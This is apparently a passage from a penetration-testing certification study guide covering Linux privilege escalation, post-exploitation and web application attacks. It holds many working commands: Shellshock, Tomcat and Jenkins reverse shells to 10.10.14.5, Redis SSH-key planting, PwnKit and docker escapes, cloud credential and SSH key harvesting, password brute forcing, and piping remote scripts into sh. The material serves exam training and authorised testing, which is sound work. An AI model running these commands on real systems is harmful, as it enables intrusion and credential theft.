The most famous trivial Linux exploit. vsftpd 2.3.4 was distributed with a backdoor: if a username contains `:)` (a smiley), the FTP service opens a root shell on TCP/6200.

```
# Detection
sudo nmap --script ftp-vsftpd-backdoor -p 21 10.10.10.50

# Exploitation
nc 10.10.10.50 21
USER hello:)
PASS anything

# Now connect to TCP/6200
nc 10.10.10.50 6200
id
> uid=0(root) gid=0(root)
```

If you encounter vsftpd 2.3.4 on the CRT, this is essentially a free flag.

7.5.2 Shellshock

Bash versions before 4.3 with patch level ≤ 25 had a flaw in environment variable function definitions: any environment variable starting with `() {` was interpreted as a function definition, and trailing data was executed. CGI scripts that pass user-supplied environment variables (User-Agent, Cookie, Referer) to bash inherit the vulnerability.

```
# Detection
curl -A "() { :;; } ; echo; echo VULNERABLE" http://10.10.10.50/cgi-bin/test.cgi

# Exploitation
curl -A "() { :;; } ; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" \
http://10.10.10.50/cgi-bin/test.cgi
```

7.5.3 Heartbleed

Already covered in section 5.1.3. Worth noting again because OpenSSL is so widely deployed and Heartbleed is one of the few cases where you may capture credentials directly.

7.5.4 Redis

Redis is a key-value store. By default it binds to all interfaces with no authentication. An attacker with access can:

```
# Detection
nc 10.10.10.50 6379
PING
> +PONG
INFO
> # Server, clients, ...

# Or via redis-cli
redis-cli -h 10.10.10.50

# Exploitation - write SSH key to authorized_keys
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/redis_key.txt
cat /tmp/redis_key.txt | redis-cli -h 10.10.10.50 -x set crackit
redis-cli -h 10.10.10.50
> CONFIG SET dir /home/redis/.ssh/
> CONFIG SET dbfilename "authorized_keys"
> SAVE

# Now SSH as redis user
ssh -i ~/.ssh/id_rsa redis@10.10.10.50
```

This works only if the Redis user has a writable `.ssh/` directory and SSH permits the key.

7.6 Linux Local Exploitation / Privilege Escalation (F7)

Beyond SUID, capabilities, sudo, and cron (covered above), the major Linux privesc paths:

7.6.1 Kernel Exploits

When all else fails, exploit a kernel vulnerability. The pattern: identify the running kernel version, then search for kernel exploits applicable to that version.

```
uname -a
> Linux victim 5.4.0-104-generic #118-Ubuntu SMP Wed Mar 2 19:02:41 UTC 2022 x86_64

# searchsploit
searchsploit linux kernel 5.4 ubuntu
```

Recent prominent Linux LPE kernel CVEs:

Name	CVE	Affected	Mechanism
Dirty COW	CVE-2016-5195	2.6.22 - 4.8	Race in COW handling -> arbitrary write
Dirty Pipe	CVE-2022-0847	5.8 - 5.16.11, 5.15.25, 5.10.102	Splice on pipe -> arbitrary write to read-only files
OverlayFS / DirtyCred	CVE-2021-3493, 2022-2588	various	OverlayFS misconfig
PwnKit	CVE-2021-4034	All Linux pre-Jan 2022 patches	Polkit's <code>pkexec</code> argv handling
SUDO Heap Overflow	CVE-2021-3156 (Baron Samedit)	1.8.2-1.8.31p2, 1.9.0-1.9.5p1	sudo heap overflow on edited input
Sequoia	CVE-2021-33909	most pre-mid-2021 kernels	filesystem layer integer overflow

The Dirty Pipe exploit (CVE-2022-0847) is particularly easy: provided a vulnerable kernel and a readable SUID binary, it overwrites the binary in memory to spawn a root shell.

PwnKit is universal across virtually all Linux distros from 2009 to early 2022. If `pkexec` is present and SUID root and the kernel is unpatched, PwnKit gives root in seconds:

```
# Compile and run
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
./cve-2021-4034
> # whoami
> root
```

Always check for `pkexec` :

```
ls -la /usr/bin/pkexec
> -rwsr-xr-x 1 root root 32096 ... /usr/bin/pkexec # the s indicates SUID
```

7.6.2 Writable PATH

If your PATH includes a directory you can write to, **and** that directory comes before `/usr/bin`, you can shadow standard binaries:

```
echo $PATH
> /home/jdoe/bin:/usr/local/bin:/usr/bin:/bin

# If /home/jdoe/bin is writable and a SUID binary calls `cat`:
echo '#!/bin/bash' > /home/jdoe/bin/cat
echo '/bin/bash -p' >> /home/jdoe/bin/cat
chmod +x /home/jdoe/bin/cat

# Now when the SUID binary calls `cat`, it runs your version
```

7.6.3 PATH Hijacking via SUID Binary Reverse Engineering

Discover what binaries an SUID program calls (and which ones use unqualified names):

```
strings /path/to/suid_binary | grep -E "(^/|^[/a-z])"
strace /path/to/suid_binary 2>&1 | grep -E "execve|open"
ltrace /path/to/suid_binary 2>&1 | grep system

# If you find: system("cat /var/log/something")
# and your PATH lets you shadow `cat`, you have a privesc
```

7.6.4 Writable systemd Service Units

Check systemd service files for writable paths or attacker-controlled execution:

```
ls -la /etc/systemd/system/
ls -la /lib/systemd/system/

# Find user-writable service files
find /etc/systemd -writable -type f 2>/dev/null
find /lib/systemd -writable -type f 2>/dev/null

# Each service file referenced ExecStart= - check those binaries' permissions
```

A writable `.service` file means you change `ExecStart=` to your payload, then trigger a restart (`systemctl restart vulnerable.service`) or wait for boot.

7.6.5 NFS no_root_squash

Already covered in section 5.11.3. Worth re-emphasising as a Linux privesc path: if any NFS export elsewhere on the network has `no_root_squash`, and you can mount it from a host where you have root, you can drop SUID root binaries on the export. Then, on any host that mounts the same export, run the binary.

7.6.6 Docker / LXD Group Membership

If a user is a member of the `docker` or `lxd` group, they have effective root. Docker requires a privileged daemon to mount filesystems, attach to namespaces, and so on; group members can request these via the daemon.

```
# Docker (user is in `docker` group)
id
> uid=1000(jdoe) groups=1000(jdoe),998(docker)

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Inside the container, /mnt is the host's filesystem and chroot makes you root in it
```

```
# LXD - similar pattern
lxc init alpine alpine -c security.privileged=true
lxc config device add alpine mydev disk source=/ path=/mnt/root recursive=true
lxc start alpine
lxc exec alpine -- /bin/sh
# /mnt/root is the host's filesystem
```

7.6.7 Writable /etc/passwd or /etc/shadow

Already covered in 7.4.4.

7.6.8 PolKit Past Issues

Beyond PwnKit (CVE-2021-4034), other PolKit issues:

- **CVE-2021-3560** - 7-year-old race condition in `polkit_system_bus_name_get_creds_sync()`. Allows local user to trigger privilege escalation via D-Bus.

```
# CVE-2021-3560 exploit
busctl --system call org.freedesktop.Accounts /org/freedesktop/Accounts org.freedesktop.Accounts CreateUser ssb attacker "A
er" 1
```

7.6.9 Kernel Version Privesc Workflow

```
# 1. Establish kernel version
uname -a
cat /proc/version
cat /etc/os-release

# 2. Check for SUID/sudo first - usually faster than kernel exploits
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null

# 3. Run linpeas
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or upload via your file transfer

# 4. If nothing else works, check for known kernel exploits
searchsploit linux kernel <version>
# linux-exploit-suggester is a common helper
./linux-exploit-suggester.sh
```

7.7 Linux Post-Exploitation (F8)

The Unix equivalent of the Windows post-exploitation checklist:

7.7.1 Initial Situational Awareness

```
# Identity
id
whoami
groups

# System
uname -a
hostname
cat /etc/*-release
cat /proc/version
arch

# Network
ip a # or ifconfig on older systems
ip route # or route -n
ss -tunlp # listening ports
netstat -antup 2>/dev/null
arp -a
cat /etc/resolv.conf

# Logged-in users
who
w
last

# Users and groups
cat /etc/passwd
cat /etc/group
ls /home

# Processes and services
ps -auxf
ps -ef --forest
systemctl list-units --type=service --state=running

# Configuration files
ls -la /etc/
cat /etc/hosts
cat /etc/fstab
cat /etc/crontab
ls -la /etc/cron*
```

7.7.2 Hunting for Credentials

```
# Search for likely password files and password references
grep -r -E -i "passw[0]rd|secret|api[_.]?key" /etc /var/www /opt 2>/dev/null | head -50
grep -ri "password" /var/www/html/ 2>/dev/null

# History files
find / -name ".bash_history" 2>/dev/null
find / -name ".zsh_history" 2>/dev/null
find / -name ".mysql_history" 2>/dev/null
find / -name ".python_history" 2>/dev/null

# SSH keys
find / -name "id_rsa*" -o -name "id_ed25519*" -o -name "id_dsa*" -o -name "id_ecdsa*" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
find / -name "known_hosts" 2>/dev/null

# Configuration files often contain creds
find / -name "*.conf" -o -name "**.config" -o -name "*.cnf" 2>/dev/null | xargs grep -l -i "passw" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null # WordPress
find / -name ".env" 2>/dev/null # environment files
find / -name "settings.py" 2>/dev/null # Django
find / -name "config.php" 2>/dev/null
find / -name "database.yml" 2>/dev/null # Rails

# Common service config
cat /etc/mysql/my.cnf 2>/dev/null
cat /etc/postgres*/pg_hba.conf 2>/dev/null
cat /etc/openssh/*.*conf 2>/dev/null
cat /etc/strongswan.conf 2>/dev/null

# AWS credentials
cat ~/.aws/credentials 2>/dev/null
cat ~/.aws/config 2>/dev/null

# GCP / Azure
cat ~/.config/gcloud/credentials.db 2>/dev/null
cat ~/.azure/credentials 2>/dev/null
```

7.7.3 Lateral Movement

Standard pivoting patterns from a compromised Linux host:

```
# Identify other hosts the pivot can reach
arp -a
cat /proc/net/arp
ip neigh
last # who has logged in - those hosts probably reachable
cat ~/.ssh/known_hosts # hosts this user has SSH'd to
cat ~/.ssh/config

# SSH key reuse
find / -name "id_rsa*" 2>/dev/null
ssh -i /found/key user@next-host

# If key has passphrase
ssh2john /found/key > key.hash
john --wordlist=rockyou.txt key.hash

# Sweep for SSH
for ip in $(seq 1 254); do (nc -zv 10.10.20.$ip 22 2>&1 | grep -i succeeded &) ; done

# nmap via the pivot using the techniques from chapter 4
```

7.7.4 Credential Extraction from Memory

On Linux, the analogue to mimikatz is `mimipenguin`:

```
sudo python3 mimipenguin.py
sudo bash mimipenguin.sh
```

It dumps cleartext passwords from `gnome-keyring`, `lightdm`, `sshd`, `vsftpd`, and other processes that hold credentials in memory.

7.7.5 Auto-Enumeration: LinPEAS, LinEnum, linux-exploit-suggester

LinPEAS is the most thorough; runs many checks and colour-codes findings:

```
# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or upload first
chmod +x linpeas.sh
./linpeas.sh | tee /tmp/linpeas.out
./linpeas.sh -a # all checks (slow)
./linpeas.sh -s # superquick
```

LinEnum - older but still useful. Less comprehensive than LinPEAS but quicker:

```
./LinEnum.sh -t -e /tmp -r report.txt
```

linux-exploit-suggester maps the kernel version to known exploits:

```
./linux-exploit-suggester.sh
./linux-exploit-suggester.sh --kernel 5.4.0-104
```

7.8 BSD and Solaris Specifics

The CRT syllabus mentions BSD (FreeBSD, OpenBSD) and Solaris by name under remote exploitation. The key differences from Linux:

7.8.1 FreeBSD

- Uses `/etc/master.passwd` (not `/etc/shadow`) for password hashes - readable only by root
- `/etc/passwd` is rebuilt from master.passwd
- Default shell `csch` for root, `sh` for users
- Package management via `pkg` (modern) or `ports`
- ZFS often used as root filesystem
- `jail` / `jexec` for containerisation

7.8.2 OpenBSD

- Famously security-focused: heap canaries, ASLR enabled by default for many years before Linux
- Default daemon is `httpd` (not Apache) and `smtpd` (OpenSMTPD)
- The OpenSMTPD remote root vulnerabilities CVE-2020-7247 and CVE-2020-8794 are the major recent OpenBSD issues
- `doas` instead of `sudo` (similar concept, smaller codebase)

7.8.3 Solaris

- Default TTL: 255 (distinguishes from Linux's 64)
- Service management via `svcs` and `svcadm` (not `systemctl`)
- Zone-based containerisation (`zlogin`, `zoneadm`)
- Solaris Telnet pre-auth bypass: `telnet -froot 10.10.10.50` (CVE-2007-0882) - if telnetd accepts the `-f` flag, you log in as the named user without authentication. Massive vulnerability, patched in 2007 but still found on legacy hosts.

```
telnet 10.10.10.50
> Telnet escape character...
^]
telnet> environ define USER -froot
telnet> open
> Last login: ...
> root@solaris-host #
```

Or directly:

```
telnet -l -froot 10.10.10.50
```

7.8.4 AIX and HP-UX

Less commonly encountered. Both have proprietary command sets. Default shells, package managers, and file paths differ from Linux. If you encounter one in the exam, focus on:

- Default credentials in admin tools
- SMB/CIFS services exposed
- Network services (NFS, SSH) often misconfigured
- Old kernel versions vulnerable to long-fixed issues

7.9 Section Summary

Linux assessment requires command-line fluency more than memorised exploit catalogues. Before progressing, ensure you can:

1. Identify a Linux host from network scan data (TTL, port profile, banners)
2. Read `/etc/passwd` and `/etc/shadow` formats and identify the hash type from the prefix
3. Crack sha512crypt hashes with hashcat mode 1800
4. Run `sudo -l` and recognise GTF0Bins exploitation paths in the output

5. Find SUID and SGID binaries with `find / -perm -4000`
6. Find capabilities with `getcap -r /`
7. Identify writable cron jobs and systemd unit files
8. Exploit NFS no_root_squash misconfigurations
9. Identify and exploit PwnKit (CVE-2021-4034) on unpatched systems
10. Exploit `docker` or `lxd` group membership
11. Run linpeas and interpret its output
12. Pivot from a compromised Linux host using SSH keys and the techniques from chapter 4

The next chapter is the largest in the book: web applications. Web Technologies (Appendix G) covers 23 distinct skill areas - more than any other appendix - and warrants disproportionate study time.

Part 8: Web Technologies (Appendix G - PT008)

Web application skills account for a substantial portion of the CRT syllabus - Appendix G alone covers 23 distinct skill areas (G1-G23), more than any other appendix. The exam questions drawn from this material form a meaningful share of the total, and the Web Technologies appendix is broad enough that candidates who under-prepare here struggle disproportionately.

This chapter is therefore the largest in the book. It covers every sub-skill in Appendix G of the syllabus, with worked examples drawn from the OWASP Top Ten, PortSwigger Web Security Academy, and real-world test scenarios.

A note on tooling: Burp Suite Professional is licensed in the exam VM. Burp Pro is the single most important web application testing tool. Spend significant practice time inside it - particularly the Repeater, Intruder, and Decoder tabs.

8.1 Web Servers (G1)

8.1.1 Identification and Fingerprinting

Web servers expose themselves through several signatures:

HTTP Server header:

```
curl -I http://10.10.10.50/
> HTTP/1.1 200 OK
> Date: Sat, 26 Apr 2025 10:30:00 GMT
> Server: Apache/2.4.41 (Ubuntu)
> X-Powered-By: PHP/7.4.3
> Content-Type: text/html; charset=UTF-8
```

The `Server` and `X-Powered-By` headers disclose software and version. Both are commonly stripped on hardened deployments.

Default error pages are highly distinctive. Apache, nginx, IIS, Tomcat, lighttpd, etc. each have characteristic 404 pages.

Default file paths:

- Apache - `/manual/`, `/server-status` (often restricted), `/server-info`
- IIS - `/iisstart.htm`, `/aspnet_client/`
- Tomcat - `/manager/`, `/host-manager/`, `/docs/`
- Nginx - usually no default files; relies on configuration
- WebSphere - `/snoop`, `/HelloWorld`
- WebLogic - `/console/`
- JBoss - `/jmx-console/`, `/web-console/`, `/invoker/`

Tools for fingerprinting:

```
# whatweb - light banner-style fingerprinting
whatweb http://10.10.10.50/
whatweb -a 3 http://10.10.10.50/ # aggressive

# WhatWeb output sample:
http://10.10.10.50/ [200 OK] Apache[2.4.41], Country[UNITED KINGDOM][GB],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.50],
PHP[7.4.3], Title[Index of /], X-Powered-By[PHP/7.4.3]

# wappalyzer (browser plugin or CLI) - detects frameworks via fingerprint database
wappalyzer http://10.10.10.50/

# nmap NSE
sudo nmap --script http-headers,http-server-header,http-title,http-methods -p 80,443 10.10.10.50

# nikto - vulnerability-oriented scan including fingerprinting
nikto -h http://10.10.10.50/
nikto -h http://10.10.10.50/ -port 80,443,8080,8443 -tuning x # all checks

# httpprint (older)
```

8.1.2 Virtual Hosts

A single IP address can serve multiple websites via virtual hosts. The web server uses the `Host:` header from the request to select which site to serve. Two consequences for testers:

1. The site you reach by visiting the IP address may not be the only one. Hidden vhosts may be findable by name brute-forcing.
2. Different vhosts on the same server may have different vulnerability profiles - a hardened production site might share an IP with a vulnerable staging site.

Vhost enumeration:

```
# ffuf vhost mode
ffuf -u http://10.10.10.50/ -H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 0 # filter by size of default response

# gobuster vhost mode
gobuster vhost -u http://10.10.10.50/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Or test individual hostnames manually
curl -H "Host: admin.target.com" http://10.10.10.50/
curl -H "Host: dev.target.com" http://10.10.10.50/
curl -H "Host: staging.target.com" http://10.10.10.50/
```

The “filter by size” approach (`-fs 0` or `-fs <default-response-size>`) is critical: most fuzzing requests return the default site (same length as the no-Host probe). Genuinely different vhosts return different content sizes.

8.1.3 Multiple Ports / Application-Specific URLs

Web applications routinely run on non-standard ports. The full common port list:

Port	Common service
80, 443	HTTP / HTTPS (default)
81, 8000, 8001, 8008, 8080, 8081, 8088	Alternative HTTP
8443, 4443, 4848, 8834, 9443	Alternative HTTPS
7001, 7002	WebLogic
9001, 9090, 9091	Various (Cockpit, Prometheus)
10000	Webmin
5000, 5001	Various Python (Flask)
3000	Various Node.js (Grafana, Gitlab pages)
8888	Jupyter Notebook
1080, 8118	Proxies
2375, 2376	Docker REST API
5601	Kibana
9200, 9300	Elasticsearch

Always scan a wide port range. A specific finding to watch for: Docker REST API on TCP/2375 (HTTP, no auth) - if exposed, an attacker can spawn containers, including privileged ones with the host filesystem mounted, leading to root on the host.

8.1.4 Web Proxies

Reverse proxies (nginx, HAProxy, Cloudflare, AWS ALB) sit in front of application servers. Forward proxies (Squid, BlueCoat) sit in front of clients. Both have implications:

- A reverse proxy may rewrite headers, cache content, perform TLS termination, and apply WAF rules. Differences between what the proxy serves and what the back-end actually does form the basis of HTTP smuggling attacks.
- A misconfigured reverse proxy may forward unintended requests to internal hosts (SSRF).
- A forward proxy may grant or restrict access; testing what the proxy will fetch on your behalf is sometimes itself the goal.

8.2 Common Web Applications (G2)

The applications you should be familiar with for the CRT, with their typical findings:

8.2.1 WordPress

The world’s most-deployed CMS. Default paths:

- `/wp-admin/` - admin interface
- `/wp-login.php` - login
- `/wp-content/` - themes, plugins, uploads
- `/wp-content/uploads/` - user uploads
- `/wp-includes/` - core
- `/xmlrpc.php` - XML-RPC interface (used for both legitimate and attack purposes)
- `?author=1` - reveals admin username via redirect

WPScan is the standard WordPress assessment tool:

```
# Identify version and basic vulnerabilities
wpscan --url http://target/wp-blog/

# Enumerate users
wpscan --url http://target/wp-blog/ --enumerate u

# Enumerate plugins
wpscan --url http://target/wp-blog/ --enumerate p
wpscan --url http://target/wp-blog/ --enumerate ap # all plugins

# Enumerate themes
wpscan --url http://target/wp-blog/ --enumerate t

# All
wpscan --url http://target/wp-blog/ --enumerate vp,vt,u --plugins-detection mixed

# Brute force a known user
wpscan --url http://target/wp-blog/ --usernames admin --passwords /usr/share/wordlists/rockyou.txt
```

The **wpscan** API token (free for low-volume use) enriches results with CVE data. Without internet in the exam, plain detection without CVE annotation is what you get.

XML-RPC brute force is a useful technique because it bundles many auth attempts into a single request:

```
# 100 password attempts in one request
curl -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params><param><value><array><data>
    <value><struct>
      <member><name>methodName</name><value>wp.getUsersBlogs</value></member>
      <member><name>params</name><value><array><data>
        <value><array><data>
          <value><string>admin</string></value>
          <value><string>password1</string></value>
        </data></array></value>
        </data></array></value></member>
      </struct></value>
    <!-- ... repeat with different passwords ... -->
  </data></array></value></param></params>
</methodCall>' \
http://target/wp-blog/xmlrpc.php
```

8.2.2 Joomla

Default paths:

- **/administrator/** - admin login
- **/components/**, **/modules/**, **/templates/** - extensions
- **/configuration.php** - sometimes accidentally readable

joomscan is the assessment tool:

```
joomscan -u http://target/joomla/
joomscan -u http://target/joomla/ --enumerate-components
```

8.2.3 Drupal

Default paths:

- **/user/login** - login
- **/admin/** - admin area
- **/node/**, **/?q=node/** - content nodes
- **/CHANGELOG.txt** - sometimes leaks version
- **/core/CHANGELOG.txt** (Drupal 8+)

droopescan for assessment:

```
droopescan scan drupal -u http://target/drupal/
```

The major Drupal vulnerabilities:

- **CVE-2014-3704** (Drupalgeddon) - SQL injection in DBAL pre-auth
- **CVE-2018-7600** (Drupalgeddon2) - pre-auth RCE via render array unserialize
- **CVE-2019-6340** - REST module RCE on misconfigured deployments

8.2.4 Apache Tomcat

Java application server. Default ports: 8080 (HTTP), 8443 (HTTPS), 8009 (AJP).

Default management paths:

- `/manager/html` - Tomcat Manager (HTML)
- `/manager/text` - Tomcat Manager (CLI)
- `/host-manager/html` - virtual host manager
- `/docs/` - documentation

Tomcat Manager allows WAR file deployment; if accessible with default credentials, instant RCE.

Default credentials (often present on test/dev installs):

- `tomcat:tomcat`
- `tomcat:s3cret`
- `admin:admin`
- `admin:tomcat`
- `manager:manager`
- `role1:tomcat`

```
# Brute force via Metasploit
msfconsole -q
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 10.10.10.50
set RPORT 8080
run

# Once authenticated, deploy WAR shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war > shell.war

# Upload via curl
curl -u tomcat:tomcat --upload-file shell.war "http://10.10.10.50:8080/manager/text/deploy?path=/shell"

# Trigger
curl http://10.10.10.50:8080/shell/
```

The **AJP protocol on port 8009** (CVE-2020-1938 “Ghostcat”) - if exposed, Tomcat AJP allows arbitrary file read from the webapp directory and, in certain configurations, RCE:

```
sudo nmap --script ajp-auth,ajp-headers,ajp-methods -p 8009 10.10.10.50
```

8.2.5 Jenkins

CI/CD server. Default port 8080.

Default paths:

- `/script` - Groovy script console (RCE if accessible)
- `/manage` - admin
- `/asynchPeople/` - user list
- `/jenkins/` - sometimes prefix
- `/computer/` - build agents

Anonymous access: older Jenkins permitted anonymous read access to all jobs and configs, sometimes including credentials.

Script Console RCE: if you can authenticate with Overall/Administer permission (often the case with default `admin/admin`), the Script Console gives Groovy execution as the Jenkins user:

```
println "id".execute().text
println "cat /etc/passwd".execute().text
"bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'".execute()
```

8.2.6 phpMyAdmin

PHP-based MySQL admin. Default paths:

- `/phpmyadmin/`
- `/pma/`
- `/php-my-admin/`
- `/mysql/`

If reachable with database credentials (or if the database has weak/default credentials), an attacker can:

- Read databases
- Write files via `INTO OUTFILE` (if the MySQL user has FILE privilege)
- Execute SQL queries that result in RCE on certain configurations

8.2.7 Other Notable Applications

Application	Default port	Default path	Common finding
GitLab	80, 443	<code>/users/sign_in</code>	CVE-2021-22205 (pre-auth RCE), CVE-2023-7028 (account takeover via reset email)
GitHub Enterprise	80, 443	(varies)	(less commonly self-hosted)
Confluence	8090	<code>/login.action</code>	CVE-2022-26134 (pre-auth RCE), CVE-2023-22515
Jira	8080	<code>/login.jsp</code>	CVE-2017-9506, CVE-2019-3403, CVE-2022-0540
Bitbucket	7990	<code>/login</code>	(less common)
Splunk	8000	<code>/en-US/account/login</code>	Default <code>admin/changeme</code>
Webmin	10000	<code>/</code>	CVE-2019-15107 (pre-auth RCE in password reset)
Cacti	80, 443	<code>/cacti/</code>	CVE-2022-46169 (pre-auth RCE)
Nagios	80, 443	<code>/nagios/</code>	Multiple CVEs
Zabbix	80, 8080	<code>/zabbix/</code>	CVE-2022-23131 (auth bypass)
Grafana	3000	<code>/login</code>	CVE-2021-43798 (path traversal)
Elasticsearch	9200	<code>/</code>	CVE-2014-3120, 2015-1427 (Groovy RCE on old versions); often unauthenticated
Kibana	5601	<code>/</code>	Often unauthenticated
MongoDB Express	8081	<code>/</code>	Often unauthenticated
Adminer	(any)	<code>/adminer.php</code>	Can connect to any DB; SSRF risk
WebLogic	7001, 7002	<code>/console/</code>	CVE-2017-10271, 2019-2725, 2020-14882
WebSphere	9080	<code>/console/login.do</code>	(multiple)

8.3 Web Application Frameworks (G3)

The major frameworks and their CRT-relevant findings:

8.3.1 .NET / ASP.NET

- File extensions: `.aspx`, `.asmx` (web services), `.ashx`
- **VIEWSTATE** - server-side state serialised into a hidden form field. If the machine key leaks (e.g., via web.config disclosure), attackers can forge VIEWSTATE values and trigger deserialisation RCE. Tool: `ysoserial.net`.
- `web.config` - configuration. Sometimes accessible (`/web.config`, `/web.config.bak`, etc.).
- `/elmah.axd` - ELMAH error logging. Sometimes left accessible without auth, leaks request data including credentials.
- `Trace.axd` - trace handler. Same disclosure risk.
- ASP.NET debug mode (`<compilation debug="true">`) discloses verbose errors.

8.3.2 Java EE / J2EE

- File extensions: `.jsp`, `.jspx`, `.do`, `.action` (Struts)
- WAR file deployments via Tomcat/JBoss/WebLogic admin
- **Apache Struts** - long history of remote code execution. CVE-2017-5638 (Equifax breach), CVE-2018-11776, CVE-2023-50164.
- **Spring4Shell** (CVE-2022-22965) - Spring Framework data binding RCE.
- **Log4Shell** (CVE-2021-44228) - Log4j JNDI lookup RCE. Triggered via any user-controlled input that reaches a `log.info()` style call. Payload: `${jndi:ldap://attacker/exploit}`.
- Java deserialisation: any endpoint that accepts serialised Java objects (look for `application/x-java-serialized-object` content type, or `r00AB` base64 prefix) is potentially exploitable via `ysoserial`.

8.3.3 ColdFusion

- File extensions: `.cfm`, `.cfc`
- `/CFIDE/administrator/` - admin login
- Several historic pre-auth RCEs
- `<cffile>` allows file uploads with weak validation

8.3.4 Ruby on Rails

- Look for `/rails/info/properties` (development mode disclosure)
- CVE-2013-0156 (YAML deserialisation in params)
- CVE-2019-5418 (file content disclosure via Accept header)
- CVE-2022-32224 (deserialisation in Marshal)

8.3.5 Node.js

- Look for source maps (`*.map`) accessible from public folders
- CVE-2018-3721 (lodash prototype pollution)
- Frameworks: Express (default), Hapi, Koa, NestJS
- Server Side Request Forgery in many fetch-style libraries
- Prototype pollution leading to RCE in older versions

8.3.6 Django (Python)

- File extensions: usually `.py` not exposed; URLs map by routing
- DEBUG mode (`DEBUG = True`) shows verbose stack traces with environment variables - massive information disclosure
- `/admin/` - default admin URL (often customised)
- CVE-2019-19844 (password reset token reuse)

8.3.7 Flask (Python)

- DEBUG mode includes the **Werkzeug debugger console** - if reachable, it offers a Python REPL in the browser. Look for `console` link on stack trace pages. Modern versions require a PIN; older versions did not.
- Insecure session signing (default `SECRET_KEY` in tutorials)
- Jinja2 server-side template injection (covered later)

8.4 Web Protocols (G4)

8.4.1 HTTP Methods

The full set defined by RFC 7231 and extensions:

Method	Purpose	Body	Idempotent	Safe
GET	Retrieve resource	No	Yes	Yes
HEAD	Same as GET, headers only	No	Yes	Yes
POST	Submit data	Yes	No	No
PUT	Replace resource	Yes	Yes	No
DELETE	Remove resource	No	Yes	No
PATCH	Modify resource	Yes	No	No
OPTIONS	List allowed methods	No	Yes	Yes
TRACE	Echo request (rarely permitted)	No	Yes	Yes
CONNECT	Proxy tunnel	No	No	No

Findings related to methods:

- `OPTIONS` reveals which methods are supported. Unexpectedly permitted PUT, DELETE, MOVE, COPY, MKCOL is a finding (typically a misconfigured WebDAV).
- `TRACE` enabled is “Cross-Site Tracing” - an XSS vector in older browsers because TRACE echoes cookies via a request that includes them. Modern browsers prohibit TRACE from JavaScript, but TRACE on production is still a finding.
- `PUT` permitting arbitrary file upload is direct RCE.
- `DELETE` permitting arbitrary deletion is data destruction.

```
# Enumerate methods
curl -X OPTIONS -i http://10.10.10.50/

> HTTP/1.1 200 OK
> Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
> Content-Length: 0

# nmap script
sudo nmap --script http-methods -p 80 10.10.10.50
```

8.4.2 Status Codes

The standard families:

Family	Range	Examples
1xx Informational	100, 101	100 Continue, 101 Switching Protocols (WebSocket upgrade)
2xx Success	200, 201, 204	200 OK, 201 Created, 204 No Content
3xx Redirection	301, 302, 304	301 Moved Permanently, 302 Found, 304 Not Modified
4xx Client Error	400-499	400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found, 405 Method Not Allowed, 429 Too Many Requests
5xx Server Error	500-599	500 Internal Server Error, 502 Bad Gateway, 503 Service Unavailable, 504 Gateway Timeout

For a tester:

- **401 vs 403** - 401 means “credentials needed” (or credentials wrong). 403 means “credentials understood but not authorised”. A 401 response with `WWW-Authenticate` header indicates Basic, Digest, or Bearer auth.
- **404 vs 200** - the difference informs directory/file enumeration. Some applications return 200 for “not found” pages, defeating the obvious approach.
- **500 errors** often leak verbose stack traces in dev mode.
- **301/302** redirects can be open redirects (covered later).

8.4.3 Security Headers

The standard defence-in-depth security headers. Their absence is a finding:

Header	Purpose	Example
Strict-Transport-Security (HSTS)	Force browsers to use HTTPS	<code>max-age=31536000; includeSubDomains; preload</code>
Content-Security-Policy (CSP)	Limit which content sources are allowed	<code>default-src 'self'; script-src 'self'</code>
X-Frame-Options	Prevent framing (clickjacking defence)	<code>DENY</code> or <code>SAMEORIGIN</code>
X-Content-Type-Options	Prevent MIME sniffing	<code>nosniff</code>
Referrer-Policy	Control Referer header on outbound	<code>no-referrer</code>
Permissions-Policy	Limit access to browser features	<code>geolocation=(), camera=(), microphone=()</code>
Cross-Origin-Opener-Policy	Isolate browsing contexts	<code>same-origin</code>
Cross-Origin-Embedder-Policy	Restrict cross-origin loads	<code>require-corp</code>
Cross-Origin-Resource-Policy	Restrict who can include this resource	<code>same-origin</code>

```
# Quick header check
curl -I -L https://target.com/

# nmap script
sudo nmap --script http-security-headers -p 443 target.com

# Tools
testssl.sh --headers https://target.com/
```

8.4.4 WebSockets

WebSocket is a bidirectional, full-duplex protocol over TCP/80 or TCP/443. The handshake starts as HTTP with `Upgrade: websocket` and `Connection: Upgrade` headers, then transitions to a binary frame protocol.

For a tester:

- Burp Suite intercepts WebSocket traffic. The “WebSocket” tab in the proxy view shows messages.
- WebSockets are subject to many of the same vulnerabilities as HTTP (XSS via reflected message content, injection in commands embedded in messages).
- Cross-Site WebSocket Hijacking (CSWSH) is a CSRF-equivalent for WebSockets where the server fails to verify Origin headers.
- A WebSocket may not require the same auth as the HTTP it upgraded from - look for endpoints accessible without proper auth via WebSocket.

8.4.5 HTTP/2 and HTTP/3

HTTP/2 brings multiplexing, header compression (HPACK), and server push. From a CRT testing perspective the application-layer attacks are unchanged but a few new classes exist:

- HTTP/2 desync (request smuggling) - frame ordering and HEADERS/CONTINUATION can desync caches and proxies.
- HPACK header injection - rarely seen but a vector.

HTTP/3 (over QUIC, UDP/443) is similar - same application semantics, different transport.

8.5 Markup Languages (G5)

8.5.1 HTML and XHTML

For a tester, HTML knowledge is needed to:

